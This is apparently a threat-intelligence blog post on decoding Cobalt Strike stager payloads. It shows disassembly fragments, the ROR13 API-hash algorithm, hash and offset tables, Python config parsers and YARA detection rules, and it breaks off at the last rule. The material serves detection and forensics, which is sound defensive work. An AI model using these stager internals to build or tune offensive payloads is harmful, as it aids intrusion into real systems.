Decoding Cobalt Strike: Understanding Payloads

decoded.avast.io/threatintel/decoding-cobalt-strike-understanding-payloads/

July 8, 2021

by Threat Intelligence TeamJuly 8, 202112 min read

Intro

Cobalt Strike threat emulation software is the de facto standard closed-source/paid tool used by infosec teams in many governments, organizations and companies. It is also very popular in many cybercrime groups which usually abuse cracked or leaked versions of Cobalt Strike.

Cobalt Strike has multiple unique features, secure communication and it is fully modular and customizable so proper detection and attribution can be problematic. It is the main reason why we have seen use of Cobalt Strike in almost every major cyber security incident or big breach for the past several years.

There are many great articles about reverse engineering Cobalt Strike software, especially beacon modules as the most important part of the whole chain. Other modules and payloads are very often overlooked, but these parts also contain valuable information for malware researchers and forensic analysts or investigators.

The first part of this series is dedicated to proper identification of all raw payload types and how to decode and parse them. We also share our useful parsers, scripts and yara rules based on these findings back to the community.

Raw payloads

Cobalt Strike's payloads are based on Meterpreter shellcodes and include many similarities like API hashing (x86 and x64 versions) or url query checksum8 algo used in http/https payloads, which makes identification harder. This particular checksum8 algorithm is also used in other frameworks like Empire.

Let's describe interesting parts of each payload separately.

Payload header x86 variant

Default 32bit raw payload's entry points start with typical instruction `CLD (0xFC)` followed by `CALL` instruction and `PUSHA (0x60)` as the first instruction from API hash algorithm.

```
00000                               public payload_start
00000               payload_start   proc near
00000 FC                            cld
00001 E8 89 00 00 00                call    load_wininet
00001               payload_start   endp
00001
00006
00006               ; =============== S U B R O U T I N E ===============================
00006
00006
00006               api_call        proc near
00006
00006               var_4           = dword ptr -4
00006
00006 60                            pusha
00007 89 E5                         mov     ebp, esp
00009 31 D2                         xor     edx, edx
0000B 64 8B 52 30                   mov     edx, fs:[edx+30h]
0000F 8B 52 0C                      mov     edx, [edx+0Ch]
00012 8B 52 14                      mov     edx, [edx+14h]
00015
00015               next_mod:                               ; CODE XREF: api_call+87↓j
00015 8B 72 28                      mov     esi, [edx+28h]
00018 0F B7 4A 26                   movzx   ecx, word ptr [edx+26h]
0001C 31 FF                         xor     edi, edi
```

x86 payload

Payload header x64 variant

Standard 64bit variants start also with `CLD` instruction followed by `AND RSP,-10h` and `CALL` instruction.

```
00000                               public payload_start
00000               payload_start   proc near
00000 FC                            cld
00001 48 83 E4 F0                   and     rsp, 0FFFFFFFFFFFFFFF0h
00005 E8 C8 00 00 00                call    load_wininet
00005               payload_start   endp
00005
0000A
0000A               ; =============== S U B R O U T I N E ===============================
0000A
0000A
0000A               api_call        proc near
0000A
0000A               var_38          = qword ptr -38h
0000A
0000A 41 51                         push    r9
0000C 41 50                         push    r8
0000E 52                            push    rdx
0000F 51                            push    rcx
00010 56                            push    rsi
00011 48 31 D2                      xor     rdx, rdx
00014 65 48 8B 52 60                mov     rdx, gs:[rdx+60h]
00019 48 8B 52 18                   mov     rdx, [rdx+18h]
0001D 48 8B 52 20                   mov     rdx, [rdx+20h]
00021
```

x64 payload

We can use these patterns for locating payloads' entry points and count other fixed offsets from this position.

```
PAYLOAD_ARCH_PATTERNS = {
    b'\xFC\xE8\x89\x00\x00\x00\x60\x89' : 'x86',
    b'\xFC\x48\x83\xE4\xF0\xE8\xC8\x00' : 'x64'
}
```

Default API hashes

Raw payloads have a predefined structure and binary format with particular placeholders for each customizable value such as DNS queries, HTTP headers or C2 IP address. Placeholder offsets are on fixed positions the same as hard coded API hash values. The hash algorithm is `ROR13` and the final hash is calculated from the API function name and DLL name. The whole algorithm is nicely commented inside assembly code on the Metasploit repository.

```
def ROR(data, bits):
    return (data >> bits | data << (32 - bits)) & 0xFFFFFFFF

def hash_api(dll_name, api_name):
    # normalize api name
    api = bytes(api_name,'utf-8') + b'\x00'
    # normalize dll name
    dll = dll_name.upper().encode('utf-16')[2:] + b'\x00\x00'
    # compute api hash
    api_hash = 0
    for i in range(len(api)):
        api_hash = ROR(api_hash,0x0d) + api[i]
    # compute dll hash
    dll_hash = 0
    for i in range(len(dll)):
        dll_hash = ROR(dll_hash,0x0d) + dll[i]
    # compute final hash
    final_hash = (api_hash + dll_hash) & 0xFFFFFFFF
    print('0x%08x,%s!%s' % (final_hash, dll_name, api_name))
```

Python implementation of API hashing algorithm

We can use the following regex patterns for searching hardcoded API hashes:

```
if arch == 'x86':
    r = re.compile(b'\x68[\x00-\xff]{4}\xff\xd5')
elif arch == 'x64':
    r = re.compile(b'\x41[\x00-\xff]{5}\xff\xd5')
```

We can use a known API hashes list for proper payload type identification and known fixed positions of API hashes for more accurate detection via Yara rules.

```
if api_hash == 0x6737dbc2:     # ws2_32.dll_bind
    payload_type = 'TCP bind'
elif api_hash == 0x6174a599:   # ws2_32.dll_connect
    payload_type = 'TCP reverse'
elif api_hash == 0xc99cc96a:   # dnsapi.dll_DnsQuery_A
    payload_type = 'DNS stager'
elif api_hash == 0xd4df7045:   # kernel32.dll_CreateNamedPipeA
    payload_type = 'SMB stager'
elif api_hash == 0xa779563a:   # wininet.dll_InternetOpenA
    payload_type = 'HTTP stager'
elif api_hash == 0x869e4675:   # wininet.dll_InternetSetOptionA
    payload_type = 'HTTPS stager'
```

Payload identification via known API hashes

Complete Cobalt Strike API hash list:

API hash	DLL and API name
0xc99cc96a	dnsapi.dll_DnsQuery_A
0x528796c6	kernel32.dll_CloseHandle
0xe27d6f28	kernel32.dll_ConnectNamedPipe
0xd4df7045	kernel32.dll_CreateNamedPipeA
0xfcddfac0	kernel32.dll_DisconnectNamedPipe
0x56a2b5f0	kernel32.dll_ExitProcess
0x5de2c5aa	kernel32.dll_GetLastError
0x0726774c	kernel32.dll_LoadLibraryA
0xcc8e00f4	kernel32.dll_lstrlenA
0xe035f044	kernel32.dll_Sleep
0xbb5f9ead	kernel32.dll_ReadFile
0xe553a458	kernel32.dll_VirtualAlloc
0x315e2145	user32.dll_GetDesktopWindow
0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x7b18062d	wininet.dll_HttpSendRequestA
0xc69f8957	wininet.dll_InternetConnectA
0x0be057b7	wininet.dll_InternetErrorDlg
0xa779563a	wininet.dll_InternetOpenA

0xe2899612	wininet.dll_InternetReadFile
0x869e4675	wininet.dll_InternetSetOptionA
0xe13bec74	ws2_32.dll_accept
0x6737dbc2	ws2_32.dll_bind
0x614d6e75	ws2_32.dll_closesocket
0x6174a599	ws2_32.dll_connect
0xff38e9b7	ws2_32.dll_listen
0x5fc8d902	ws2_32.dll_recv
0xe0df0fea	ws2_32.dll_WSASocketA
0x006b8029	ws2_32.dll_WSAStartup

Complete API hash list for Windows 10 system DLLs is available here.

Customer ID / Watermark

Based on information provided on official web pages, Customer ID is a 4-byte number associated with the Cobalt Strike licence key and since v3.9 is embedded into the payloads and beacon configs. This number is located at the end of the payload if it is present. Customer ID could be used for specific threat authors identification or attribution, but a lot of Customer IDs are from cracked or leaked versions, so please consider this while looking at these for possible attribution.

DNS stager x86

Typical payload size is 515 bytes or 519 bytes with included Customer ID value. The DNS query name string starts on offset 0x0140 (calculated from payload entry point) and the null byte and max string size is 63 bytes. If the DNS query name string is shorter, then is terminated with a null byte and the rest of the string space is filled with junk bytes.

`DnsQuery_A` API function is called with two default parameters:

Parameter	Value	Constant
DNS Record Type (wType)	0x0010	DNS_TYPE_TEXT
DNS Query Options (Options)	0x0248	DNS_QUERY_BYPASS_CACHE DNS_QUERY_NO_HOSTS_FILE DNS_QUERY_RETURN_MESSAGE

Anything other than the default values are suspicious and could indicate custom payload.

Python parsing:

```
dns_record_type = struct.unpack_from('<B', data, 0x12C)[0]
dns_query_options = struct.unpack_from('<H', data, 0x127)[0]
dns_query_name = get_str(data, 0x14b, 0x18a)
```

Default DNS payload API hashes:

Offset	Hash value	API name
0x00a3	0xe553a458	kernel32.dll_VirtualAlloc
0x00bd	0x0726774c	kernel32.dll_LoadLibraryA
0x012f	0xc99cc96a	dnsapi.dll_DnsQuery_A
0x0198	0x56a2b5f0	kernel32.dll_ExitProcess
0x01a4	0xe035f044	kernel32.dll_Sleep
0x01e4	0xcc8e00f4	kernel32.dll_lstrlenA

Yara rule for DNS stagers:

```
rule cobaltstrike_raw_payload_dns_stager_x86
{
    strings:
        $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
    condition:
        uint32(@h01+0x00a3) == 0xe553a458 and
        uint32(@h01+0x00bd) == 0x0726774c and
        uint32(@h01+0x012f) == 0xc99cc96a and
        uint32(@h01+0x0198) == 0x56a2b5f0 and
        uint32(@h01+0x01a4) == 0xe035f044 and
        uint32(@h01+0x01e4) == 0xcc8e00f4
}
```

SMB stager x86

The default payload size is 346 bytes plus the length of the pipe name string terminated by a null byte and the length of the Customer ID if present. The pipe name string is located right after the payload code on offset 0x015A in plaintext format.

CreateNamedPipeA API function is called with 3 default parameters:

Parameter	Value	Constant
Open Mode (dwOpenMode)	0x0003	PIPE_ACCESS_DUPLEX

Pipe Mode (dwPipeMode)	0x0006	PIPE_TYPE_MESSAGE, PIPE_READMODE_MESSAGE
Max Instances (nMaxInstances)	0x0001	

Python parsing:

```
smb_max_instances = struct.unpack_from('<B', data, 0xBD)[0]
smb_pipe_mode = struct.unpack_from('<B', data, 0xBF)[0]
smb_open_mode = struct.unpack_from('<B', data, 0xC1)[0]
smb_pipe_name = get_str(data, 0x15a)
```

Default SMB payload API hashes:

Offset	Hash value	API name
0x00a1	0xe553a458	kernel32.dll_VirtualAlloc
0x00c4	0xd4df7045	kernel32.dll_CreateNamedPipeA
0x00d2	0xe27d6f28	kernel32.dll_ConnectNamedPipe
0x00f8	0xbb5f9ead	kernel32.dll_ReadFile
0x010d	0xbb5f9ead	kernel32.dll_ReadFile
0x0131	0xfcddfac0	kernel32.dll_DisconnectNamedPipe
0x0139	0x528796c6	kernel32.dll_CloseHandle
0x014b	0x56a2b5f0	kernel32.dll_ExitProcess

Yara rule for SMB stagers:

```
rule cobaltstrike_raw_payload_smb_stager_x86
{
    strings:
        $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
    condition:
        uint32(@h01+0x00a1) == 0xe553a458 and
        uint32(@h01+0x00c4) == 0xd4df7045 and
        uint32(@h01+0x00d2) == 0xe27d6f28 and
        uint32(@h01+0x00f8) == 0xbb5f9ead and
        uint32(@h01+0x010d) == 0xbb5f9ead and
        uint32(@h01+0x0131) == 0xfcddfac0 and
        uint32(@h01+0x0139) == 0x528796c6 and
        uint32(@h01+0x014b) == 0x56a2b5f0
}
```

TCP Bind stager x86

The payload size is 332 bytes plus the length of the Customer ID if present. Parameters for the bind API function are stored inside the `SOCKADDR_IN` structure hardcoded as two dword pushes. The first `PUSH` with the sin_addr value is located on offset 0x00C4. The second `PUSH` contains sin_port and sin_family values and is located on offset 0x00C9 The default sin_family value is `AF_INET` (0x02).

```
000000B8 40                                inc     eax
000000B9 50                                push    eax
000000BA 68 EA 0F DF E0                    push    ws2_32.dll_WSASocketA
000000BF FF D5                             call    ebp
000000C1 97                                xchg    eax, edi
000000C2 31 DB                             xor     ebx, ebx
000000C4 68 7F 00 00 01                    push    100007Fh        ; sin_ip: 127.0.0.1
000000C9 68 02 00 11 5C                    push    5C110002h       ; sin_port: 4444
000000C9                                                           ; sa_family: AF_INET
000000CE 89 E6                             mov     esi, esp
000000D0
000000D0                     try_connect:
000000D0 6A 10                             push    10h
000000D2 56                                push    esi
000000D3 57                                push    edi
000000D4 68 C2 DB 37 67                    push    ws2_32.dll_bind
000000D9 FF D5                             call    ebp
000000DB 53                                push    ebx
```

Python parsing:

```
sin_addr = '%d.%d.%d.%d' % struct.unpack_from('BBBB', data, 0xc5)
sin_family = struct.unpack_from('H', data, 0xca)[0]
sin_port = struct.unpack_from('>H', data, 0xcc)[0]
```

Default TCP Bind x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00ac	0x006b8029	ws2_32.dll_WSAStartup
0x00bb	0xe0df0fea	ws2_32.dll_WSASocketA
0x00d5	0x6737dbc2	ws2_32.dll_bind
0x00de	0xff38e9b7	ws2_32.dll_listen
0x00e8	0xe13bec74	ws2_32.dll_accept
0x00f1	0x614d6e75	ws2_32.dll_closesocket
0x00fa	0x56a2b5f0	kernel32.dll_ExitProcess
0x0107	0x5fc8d902	ws2_32.dll_recv
0x011a	0xe553a458	kernel32.dll_VirtualAlloc
0x0128	0x5fc8d902	ws2_32.dll_recv

0x013d	0x614d6e75	ws2_32.dll_closesocket

Yara rule for TCP Bind x86 stagers:

```
rule cobaltstrike_raw_payload_tcp_bind_x86
{
    strings:
        $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
    condition:
        uint32(@h01+0x009c) == 0x0726774c and
        uint32(@h01+0x00ac) == 0x006b8029 and
        uint32(@h01+0x00bb) == 0xe0df0fea and
        uint32(@h01+0x00d5) == 0x6737dbc2 and
        uint32(@h01+0x00de) == 0xff38e9b7 and
        uint32(@h01+0x00e8) == 0xe13bec74 and
        uint32(@h01+0x00f1) == 0x614d6e75 and
        uint32(@h01+0x00fa) == 0x56a2b5f0 and
        uint32(@h01+0x0107) == 0x5fc8d902 and
        uint32(@h01+0x011a) == 0xe553a458 and
        uint32(@h01+0x0128) == 0x5fc8d902 and
        uint32(@h01+0x013d) == 0x614d6e75
}
```

TCP Bind stager x64

The payload size is 510 bytes plus the length of the Customer ID if present. The `SOCKADDR_IN` structure is hard coded inside the `MOV` instruction as a qword and contains the whole structure. The offset for the `MOV` instruction is 0x00EC.

```
000000D2 5D                               pop     rbp
000000D3 49 BE 77 73 32 5F 33 32 00 00    mov     r14, '23_2sw'
000000DD 41 56                            push    r14
000000DF 49 89 E6                         mov     r14, rsp
000000E2 48 81 EC A0 01 00 00             sub     rsp, 1A0h
000000E9 49 89 E5                         mov     r13, rsp
000000EC 49 BC 02 00 11 5C 7F 00 00 01    mov     r12, 100007F5C110002h
000000F6 41 54                            push    r12
000000F8 49 89 E4                         mov     r12, rsp
000000FB 4C 89 F1                         mov     rcx, r14
000000FE 41 BA 4C 77 26 07                mov     r10d, kernel32.dll_LoadLibraryA
00000104 FF D5                            call    rbp
```

Python parsing:

```
sin_addr = '%d.%d.%d.%d' % struct.unpack_from('BBBB', data, 0xf2)
sin_family = struct.unpack_from('H', data, 0xee)[0]
sin_port = struct.unpack_from('>H', data, 0xf0)[0]
```

Default TCP Bind x64 payload API hashes:

Offset	Hash value	API name
0x0100	0x0726774c	kernel32.dll_LoadLibraryA
0x0111	0x006b8029	ws2_32.dll_WSAStartup

0x012d	0xe0df0fea	ws2_32.dll_WSASocketA
0x0142	0x6737dbc2	ws2_32.dll_bind
0x0150	0xff38e9b7	ws2_32.dll_listen
0x0161	0xe13bec74	ws2_32.dll_accept
0x016f	0x614d6e75	ws2_32.dll_closesocket
0x0198	0x5fc8d902	ws2_32.dll_recv
0x01b8	0xe553a458	kernel32.dll_VirtualAlloc
0x01d2	0x5fc8d902	ws2_32.dll_recv
0x01ee	0x614d6e75	ws2_32.dll_closesocket

Yara rule for TCP Bind x64 stagers:

```
rule cobaltstrike_raw_payload_tcp_bind_x64
{
    strings:
        $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
    condition:
        uint32(@h01+0x0100) == 0x0726774c and
        uint32(@h01+0x0111) == 0x006b8029 and
        uint32(@h01+0x012d) == 0xe0df0fea and
        uint32(@h01+0x0142) == 0x6737dbc2 and
        uint32(@h01+0x0150) == 0xff38e9b7 and
        uint32(@h01+0x0161) == 0xe13bec74 and
        uint32(@h01+0x016f) == 0x614d6e75 and
        uint32(@h01+0x0198) == 0x5fc8d902 and
        uint32(@h01+0x01b8) == 0xe553a458 and
        uint32(@h01+0x01d2) == 0x5fc8d902 and
        uint32(@h01+0x01ee) == 0x614d6e75
}
```

TCP Reverse stager x86

The payload size is 290 bytes plus the length of the Customer ID if present. This payload is very similar to TCP Bind x86 and `SOCKADDR_IN` structure is hardcoded on the same offset with the same double push instructions so we can reuse python parsing code from TCP Bind x86 payload.

Default TCP Reverse x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA

0x00ac	0x006b8029	ws2_32.dll_WSAStartup
0x00bb	0xe0df0fea	ws2_32.dll_WSASocketA
0x00d5	0x6174a599	ws2_32.dll_connect
0x00e5	0x56a2b5f0	kernel32.dll_ExitProcess
0x00f2	0x5fc8d902	ws2_32.dll_recv
0x0105	0xe553a458	kernel32.dll_VirtualAlloc
0x0113	0x5fc8d902	ws2_32.dll_recv

Yara rule for TCP Reverse x86 stagers:

```
rule cobaltstrike_raw_payload_tcp_reverse_x86
{
    strings:
        $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
    condition:
        uint32(@h01+0x009c) == 0x0726774c and
        uint32(@h01+0x00ac) == 0x006b8029 and
        uint32(@h01+0x00bb) == 0xe0df0fea and
        uint32(@h01+0x00d5) == 0x6174a599 and
        uint32(@h01+0x00e5) == 0x56a2b5f0 and
        uint32(@h01+0x00f2) == 0x5fc8d902 and
        uint32(@h01+0x0105) == 0xe553a458 and
        uint32(@h01+0x0113) == 0x5fc8d902
}
```

TCP Reverse stager x64

Default payload size is 465 bytes plus length of Customer ID if present. Payload has the same position as the `SOCKADDR_IN` structure such as TCP Bind x64 payload so we can reuse parsing code again.

Default TCP Reverse x64 payload API hashes:

Offset	Hash value	API name
0x0100	0x0726774c	kernel32.dll_LoadLibraryA
0x0111	0x006b8029	ws2_32.dll_WSAStartup
0x012d	0xe0df0fea	ws2_32.dll_WSASocketA
0x0142	0x6174a599	ws2_32.dll_connect
0x016b	0x5fc8d902	ws2_32.dll_recv

0x018b	0xe553a458	kernel32.dll_VirtualAlloc
0x01a5	0x5fc8d902	ws2_32.dll_recv
0x01c1	0x614d6e75	ws2_32.dll_closesocket

Yara rule for TCP Reverse x64 stagers:

```
rule cobaltstrike_raw_payload_tcp_reverse_x64
{
    strings:
        $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
    condition:
        uint32(@h01+0x0100) == 0x0726774c and
        uint32(@h01+0x0111) == 0x006b8029 and
        uint32(@h01+0x012d) == 0xe0df0fea and
        uint32(@h01+0x0142) == 0x6174a599 and
        uint32(@h01+0x016b) == 0x5fc8d902 and
        uint32(@h01+0x018b) == 0xe553a458 and
        uint32(@h01+0x01a5) == 0x5fc8d902 and
        uint32(@h01+0x01c1) == 0x614d6e75
}
```

HTTP stagers x86 and x64

Default x86 payload size fits 780 bytes and the x64 version is 874 bytes long plus size of request address string and size of Customer ID if present. The payloads include full request information stored inside multiple placeholders.

Request address

The request address is a plaintext string terminated by null byte located right after the last payload instruction without any padding. The offset for the x86 version is 0x030C and 0x036A for the x64 payload version. Typical format is IPv4.

Request port

For the x86 version the request port value is hardcoded inside a `PUSH` instruction as a dword. The offset for the `PUSH` instruction is 0x00BE. The port value for the x64 version is stored inside `MOV r8d, dword` instruction on offset 0x010D.

Request query

The placeholder for the request query has a max size of 80 bytes and the value is a plaintext string terminated by a null byte. If the request query string is shorter, then the rest of the string space is filled with junk bytes. The placeholder offset for the x86 version is 0x0143 and 0x0186 for the x64 version.

Cobalt Strike and other tools such as Metasploit use a trivial checksum8 algorithm for the request query to distinguish between x86 and x64 payload or beacon.

According to leaked Java web server source code, Cobalt Strike uses only two checksum values, 0x5C (92) for x86 payloads and 0x5D for x64 versions. There are also implementations of Strict stager variants where the request query string must be 5 characters long (including slash). The request query checksum feature isn't mandatory.

```
public static boolean isStager(String uri) {
    return checksum8(uri) == 92L;
}

public static boolean isStagerX64(String uri) {
    return checksum8(uri) == 93L && uri.matches("/[A-Za-z0-9]{4}");
}

public static boolean isStagerStrict(String uri) {
    return isStager(uri) && uri.length() == 5;
}

public static boolean isStagerX64Strict(String uri) {
    return isStagerX64(uri) && uri.length() == 5;
}
```

Python implementation of checksum8 algorithm:

```
checksum = sum([ord(ch) for ch in s]) % 0x100
```

Metasploit server uses similar values:

```
#
# Define 8-bit checksums for matching URLs
# These are based on charset frequency
#
URI_CHECKSUM_INITW      = 92 # Windows
URI_CHECKSUM_INITN      = 92 # Native (same as Windows)
URI_CHECKSUM_INITP      = 80 # Python
URI_CHECKSUM_INITJ      = 88 # Java
URI_CHECKSUM_CONN       = 98 # Existing session
URI_CHECKSUM_INIT_CONN  = 95 # New stageless session
```

You can find a complete list of Cobalt Strike's x86 and x64 strict request queries here.

Request header

The size of the request header placeholder is 304 bytes and the value is also represented as a plaintext string terminated by a null byte. The request header placeholder is located immediately after the Request query placeholder. The offset for the x86 version is 0x0193 and 0x01D6 for the x64 version.

The typical request header value for HTTP/HTTPS stagers is User-Agent. The Cobalt Strike web server has banned user-agents which start with lynx, curl or wget and return a response code 404 if any of these strings are found.

```java
public Response _serve(String uri, String method, Properties header, Properties param) {
    String useragent = (header.getProperty("User-Agent") + "").toLowerCase();
    if (!useragent.startsWith("lynx") && !useragent.startsWith("curl") && !useragent.startsWith("wget")) {
        ...
        ...
```

API function `HttpOpenRequestA` is called with following dwFlags (`0x84600200`):

```
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
  ;0x80000000 | ; INTERNET_FLAG_RELOAD
  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
  ;0x00000200   ; INTERNET_FLAG_NO_UI
%endif
```

Python parsing:

```python
# x86
request_port = struct.unpack_from('I', data, 0xbf)[0]
request_query = get_str(data, 0x143)
request_header = get_str(data, 0x193)
request_addr = get_str(data, 0x30c)

# x64
request_port = struct.unpack_from('I', data, 0x10f)[0]
request_query = get_str(data, 0x186)
request_header = get_str(data, 0x1d6)
request_addr = get_str(data, 0x36a)
```

Default HTTP x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00aa	0xa779563a	wininet.dll_InternetOpenA
0x00c6	0xc69f8957	wininet.dll_InternetConnectA
0x00de	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x00f2	0x7b18062d	wininet.dll_HttpSendRequestA
0x010b	0x5de2c5aa	kernel32.dll_GetLastError
0x0114	0x315e2145	user32.dll_GetDesktopWindow
0x0123	0x0be057b7	wininet.dll_InternetErrorDlg
0x02c4	0x56a2b5f0	kernel32.dll_ExitProcess
0x02d8	0xe553a458	kernel32.dll_VirtualAlloc
0x02f3	0xe2899612	wininet.dll_InternetReadFile

Default HTTP x64 payload API hashes:

Offset	Hash value	API name
0x00e9	0x0726774c	kernel32.dll_LoadLibraryA
0x0101	0xa779563a	wininet.dll_InternetOpenA
0x0120	0xc69f8957	wininet.dll_InternetConnectA
0x013f	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x0163	0x7b18062d	wininet.dll_HttpSendRequestA
0x0308	0x56a2b5f0	kernel32.dll_ExitProcess
0x0324	0xe553a458	kernel32.dll_VirtualAlloc
0x0342	0xe2899612	wininet.dll_InternetReadFile

Yara rules for HTTP x86 and x64 stagers:

```
rule cobaltstrike_raw_payload_http_stager_x86
{
    strings:
        $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
    condition:
        uint32(@h01+0x009c) == 0x0726774c and
        uint32(@h01+0x00aa) == 0xa779563a and
        uint32(@h01+0x00c6) == 0xc69f8957 and
        uint32(@h01+0x00de) == 0x3b2e55eb and
        uint32(@h01+0x00f2) == 0x7b18062d and
        uint32(@h01+0x010b) == 0x5de2c5aa and
        uint32(@h01+0x0114) == 0x315e2145 and
        uint32(@h01+0x0123) == 0x0be057b7 and
        uint32(@h01+0x02c4) == 0x56a2b5f0 and
        uint32(@h01+0x02d8) == 0xe553a458 and
        uint32(@h01+0x02f3) == 0xe2899612
}

rule cobaltstrike_raw_payload_http_stager_x64
{
    strings:
        $h01 = { FC 48 83 E4 F0 E8 C8 00 00 00 41 51 41 50 52 51 56 48 31 D2 65 48 8B 52 }
    condition:
        uint32(@h01+0x00e9) == 0x0726774c and
        uint32(@h01+0x0101) == 0xa779563a and
        uint32(@h01+0x0120) == 0xc69f8957 and
        uint32(@h01+0x013f) == 0x3b2e55eb and
        uint32(@h01+0x0163) == 0x7b18062d and
        uint32(@h01+0x0308) == 0x56a2b5f0 and
        uint32(@h01+0x0324) == 0xe553a458 and
        uint32(@h01+0x0342) == 0xe2899612
}
```

HTTPS stagers x86 and x64

The payload structure and placeholders are almost the same as the HTTP stagers. The differences are only in payload sizes, placeholder offsets, usage of `InternetSetOptionA` API function (API hash 0x869e4675) and different dwFlags for calling the `HttpOpenRequestA` API function.

The default x86 payload size fits 817 bytes and the default for the x64 version is 909 bytes long plus size of request address string and size of the Customer ID if present.

Request address

The placeholder offset for the x86 version is 0x0331 and 0x038D for the x64 payload version. The typical format is IPv4.

Request port

The hardcoded request port format is the same as HTTP. The `PUSH` offset for the x86 version is 0x00C3. The `MOV` instruction for x64 version is on offset 0x0110.

Request query

The placeholder for the request query has the same format and length as the HTTP version. The placeholder offset for the x86 version is 0x0168 and 0x01A9 for the x64 version.

Request header

The size and length of the request header placeholder is the same as the HTTP version. Offset for the x86 version is 0x01B8 and 0x01F9 for the x64 version.

API function `HttpOpenRequestA` is called with following dwFlags (`0x84A03200`):

```
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
  ;0x80000000 | ; INTERNET_FLAG_RELOAD
  ;0x04000000 | ; INTERNET_NO_CACHE_WRITE
  ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
  ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
  ;0x00000200 | ; INTERNET_FLAG_NO_UI
  ;0x00800000 | ; INTERNET_FLAG_SECURE
  ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
  ;0x00001000   ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
%else
```

`InternetSetOptionA` API function is called with following parameters:

```
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
  push 0x00003380
    ;0x00002000 |        ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
    ;0x00001000 |        ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
    ;0x00000200 |        ; SECURITY_FLAG_IGNORE_WRONG_USAGE
    ;0x00000100 |        ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
    ;0x00000080          ; SECURITY_FLAG_IGNORE_REVOCATION
  mov eax, esp
  push byte 4            ; sizeof(dwFlags)
  push eax               ; &dwFlags
  push byte 31           ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
  push esi               ; hHttpRequest
  push 0x869E4675        ; hash( "wininet.dll", "InternetSetOptionA" )
  call ebp
```

Python parsing:

```python
# x86
request_port = struct.unpack_from('I', data, 0xc4)[0]
request_query = get_str(data, 0x168)
request_header = get_str(data, 0x1b8)
request_addr = get_str(data, 0x331)

# x64
request_port = struct.unpack_from('I', data, 0x112)[0]
request_query = get_str(data, 0x1a9)
request_header = get_str(data, 0x1f9)
request_addr = get_str(data, 0x38d)
```

Default HTTPS x86 payload API hashes:

Offset	Hash value	API name
0x009c	0x0726774c	kernel32.dll_LoadLibraryA
0x00af	0xa779563a	wininet.dll_InternetOpenA
0x00cb	0xc69f8957	wininet.dll_InternetConnectA
0x00e7	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x0100	0x869e4675	wininet.dll_InternetSetOptionA
0x0110	0x7b18062d	wininet.dll_HttpSendRequestA
0x0129	0x5de2c5aa	kernel32.dll_GetLastError
0x0132	0x315e2145	user32.dll_GetDesktopWindow
0x0141	0x0be057b7	wininet.dll_InternetErrorDlg
0x02e9	0x56a2b5f0	kernel32.dll_ExitProcess
0x02fd	0xe553a458	kernel32.dll_VirtualAlloc
0x0318	0xe2899612	wininet.dll_InternetReadFile

Default HTTPS x64 payload API hashes:

Offset	Hash value	API name
0x00e9	0x0726774c	kernel32.dll_LoadLibraryA
0x0101	0xa779563a	wininet.dll_InternetOpenA
0x0123	0xc69f8957	wininet.dll_InternetConnectA
0x0142	0x3b2e55eb	wininet.dll_HttpOpenRequestA
0x016c	0x869e4675	wininet.dll_InternetSetOptionA
0x0186	0x7b18062d	wininet.dll_HttpSendRequestA
0x032b	0x56a2b5f0	kernel32.dll_ExitProcess
0x0347	0xe553a458	kernel32.dll_VirtualAlloc
0x0365	0xe2899612	wininet.dll_InternetReadFile

Yara rule for HTTPS x86 and x64 stagers:

```
rule cobaltstrike_raw_payload_https_stager_x86
{
    strings:
        $h01 = { FC E8 89 00 00 00 60 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 }
    condition:
        uint32(@h01+0x009c) == 0x0726774c and
        uint32(@h01+0x00af) == 0xa779563a and
        uint32(@h01+0x00cb) == 0xc69f8957 and
        uint32(@h01+0x00e7) == 0x3b2e55eb and
        uint32(@h01+0x0100) == 0x869e4675 and
        uint32(@h01+0x0110) == 0x7b18062d and
        uint32(@h01+0x0129) == 0x5de2c5aa and
        uint32(@h01+0x0132) == 0x315e2145 and
        uint32(@h01+0x0141) == 0x0be057b7 and
        uint32(@h01+0x02e9) == 0x56a2b5f0 and
        uint32(@h01+0x02fd) == 0xe553a458 and
        uint32(@h01+0x0318) == 0xe2899612
}

rule cobaltstrike_raw_payload_https_stager_x64
